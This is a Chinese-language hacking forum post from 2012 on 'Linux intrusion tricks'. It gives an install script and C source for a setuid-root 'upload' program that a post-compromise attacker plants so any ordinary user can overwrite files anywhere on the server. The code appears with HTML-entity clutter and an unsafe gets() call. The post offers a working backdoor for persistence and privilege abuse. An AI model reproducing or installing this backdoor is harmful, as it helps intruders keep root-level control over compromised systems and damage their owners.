linux常用的入侵小技巧

[复制链接]
查看315 | 回复0 | 2012-4-1 19:16:49 | 显示全部楼层 |阅读模式
1UPLOAD

侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件!

root状态下,运行Install后,

upload将允许普通用户上载文件至任何目录下。 

 

# chmod 755 install  
#./install  
$Content$nbsp;more install  
#! /bin/csh -f  
cc upload.c  
cp a.out upload  
chown root upload  
chmod 755 upload  
chmod u+s upload  
$Content$nbsp;more upload.c  

 

#include&nbsp;<stdio.h>&nbsp;&nbsp;
main()&nbsp;&nbsp;
{&nbsp;&nbsp;
char&nbsp;filename[48];&nbsp;&nbsp;
printf(&nbsp;&quot;This&nbsp;program&nbsp;will&nbsp;upload&nbsp;up.txt&nbsp;ASCII&nbsp;file&nbsp;to&nbsp;specified&nbsp;file\n&quot;&nbsp;);&nbsp;&nbsp;
printf(&nbsp;&quot;XXX&nbsp;Copyright&nbsp;Reserved\n&quot;&nbsp;);&nbsp;&nbsp;
printf(&nbsp;&quot;Where&nbsp;to&nbsp;upload&nbsp;(include&nbsp;path&nbsp;and&nbsp;filename)?&nbsp;&quot;&nbsp;);&nbsp;&nbsp;
gets(&nbsp;filename&nbsp;);&nbsp;&nbsp;
upload(&nbsp;filename&nbsp;);&nbsp;&nbsp;
}&nbsp;&nbsp;
int&nbsp;upload(&nbsp;filename&nbsp;)&nbsp;&nbsp;
char&nbsp;*filename;&nbsp;&nbsp;
{&nbsp;&nbsp;
FILE&nbsp;*fp,*outp;&nbsp;&nbsp;
char&nbsp;c;&nbsp;&nbsp;
fp=fopen(&nbsp;&quot;up.txt&quot;,&quot;r&quot;&nbsp;);&nbsp;&nbsp;
outp=fopen(&nbsp;filename,&quot;w&quot;&nbsp;);&nbsp;&nbsp;
if(&nbsp;fp==&nbsp;NULL&nbsp;)&nbsp;{&nbsp;&nbsp;
printf(&nbsp;&quot;file&nbsp;not&nbsp;exist.&quot;&nbsp;);&nbsp;&nbsp;
return&nbsp;0;&nbsp;&nbsp;
}&nbsp;&nbsp;
for(&nbsp;;;&nbsp;)&nbsp;{&nbsp;&nbsp;
c=&nbsp;fgetc(&nbsp;fp&nbsp;);&nbsp;&nbsp;
if&nbsp;feof(&nbsp;fp&nbsp;)&nbsp;break;&nbsp;&nbsp;
printf(&nbsp;&quot;%c&quot;,c&nbsp;);&nbsp;&nbsp;
fputc(&nbsp;c,&nbsp;outp&nbsp;);&nbsp;&nbsp;
}&nbsp;&nbsp;
fclose(&nbsp;fp&nbsp;);&nbsp;&nbsp;
fclose(&nbsp;outp&nbsp;);&nbsp;&nbsp;
return&nbsp;1;&nbsp;&nbsp;
}&nbsp;&nbsp;
&nbsp;


*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则